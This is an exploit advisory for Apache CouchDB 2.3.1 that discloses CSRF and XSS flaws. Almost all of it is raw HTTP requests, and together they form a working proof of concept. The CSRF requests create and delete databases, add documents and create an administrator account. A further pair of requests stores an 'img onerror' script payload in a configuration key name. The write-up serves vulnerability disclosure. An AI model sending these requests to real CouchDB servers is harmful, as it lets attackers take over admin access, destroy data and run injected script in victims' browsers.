Apache CouchDB 2.3.1 Cross Site Request Forgery / Cross Site Scripting

`##################################################################################################################################  
# Exploit Title: Apache CouchDB 2.3.1 | Cross-Site Request Forgery /  
Cross-Site Scripting  
# Date: 22.03.2019  
# Exploit Author: Ozer Goker  
# Vendor Homepage: http://couchdb.apache.org  
# Software Link: http://couchdb.apache.org/#download  
# Version: 2.3.1  
##################################################################################################################################  
  
Introduction  
  
A CouchDB server hosts named databases, which store documents. Each  
document is uniquely named in the database, and CouchDB provides a RESTful  
HTTP API for reading and updating (add, edit, delete) database documents.  
  
#################################################################################  
  
Vulnerabilities: CSRF | XSS DOM Based & Reflected & Stored  
  
#################################################################################  
  
CSRF1  
  
Create Database  
  
PUT /test HTTP/1.1  
Host: 127.0.0.1:5984  
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:65.0)  
Gecko/20100101 Firefox/65.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://127.0.0.1:5984/_utils/  
Content-Type: application/json  
X-Requested-With: XMLHttpRequest  
Content-Length: 27  
DNT: 1  
Connection: close  
Cookie: _ga=GA1.1.781615969.1550605249  
  
{"id":"test","name":"test"}  
  
#################################################################################  
  
CSRF2  
  
Delete Database  
  
DELETE /test HTTP/1.1  
Host: 127.0.0.1:5984  
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:65.0)  
Gecko/20100101 Firefox/65.0  
Accept: application/json  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://127.0.0.1:5984/_utils/  
content-type: application/json  
pragma: no-cache  
Origin: http://127.0.0.1:5984  
DNT: 1  
Connection: close  
Cookie: _ga=GA1.1.781615969.1550605249  
Cache-Control: max-age=0  
  
  
#################################################################################  
  
CSRF3  
  
Create Document  
  
POST /test/ HTTP/1.1  
Host: 127.0.0.1:5984  
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:65.0)  
Gecko/20100101 Firefox/65.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://127.0.0.1:5984/_utils/  
Content-Type: application/json  
X-Requested-With: XMLHttpRequest  
Content-Length: 18  
DNT: 1  
Connection: close  
Cookie: _ga=GA1.1.781615969.1550605249  
  
{"testdoc":"test"}  
  
#################################################################################  
  
CSRF4  
  
Create Admin  
  
PUT /_node/couchdb@localhost/_config/admins/admin HTTP/1.1  
Host: 127.0.0.1:5984  
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:65.0)  
Gecko/20100101 Firefox/65.0  
Accept: application/json  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://127.0.0.1:5984/_utils/  
content-type: application/json  
pragma: no-cache  
Origin: http://127.0.0.1:5984  
Content-Length: 10  
DNT: 1  
Connection: close  
Cookie: _ga=GA1.1.781615969.1550605249  
Cache-Control: max-age=0  
  
"password"  
  
  
#################################################################################  
  
  
CSRF5 & XSS1 | DOM Based & Stored - Add Option  
  
  
PUT /_node/couchdb@localhost/_config/test/%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E  
HTTP/1.1  
Host: 127.0.0.1:5984  
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:65.0)  
Gecko/20100101 Firefox/65.0  
Accept: application/json  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://127.0.0.1:5984/_utils/  
content-type: application/json  
pragma: no-cache  
Origin: http://127.0.0.1:5984  
Content-Length: 6  
DNT: 1  
Connection: close  
Cookie: _ga=GA1.1.781615969.1550605249  
Cache-Control: max-age=0  
  
"test"  
  
#################################################################################  
  
CSRF6 & XSS2 | DOM Based & Stored - Delete Option  
  
DELETE /_node/couchdb@localhost/_config/test/%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E  
HTTP/1.1  
Host: 127.0.0.1:5984  
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:65.0)  
Gecko/20100101 Firefox/65.0  
Accept: application/json  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://127.0.0.1:5984/_utils/  
content-type: application/json  
pragma: no-cache  
Origin: http://127.0.0.1:5984  
DNT: 1  
Connection: close  
Cookie: _ga=GA1.1.781615969.1550605249  
Cache-Control: max-age=0  
  
  
#################################################################################  
`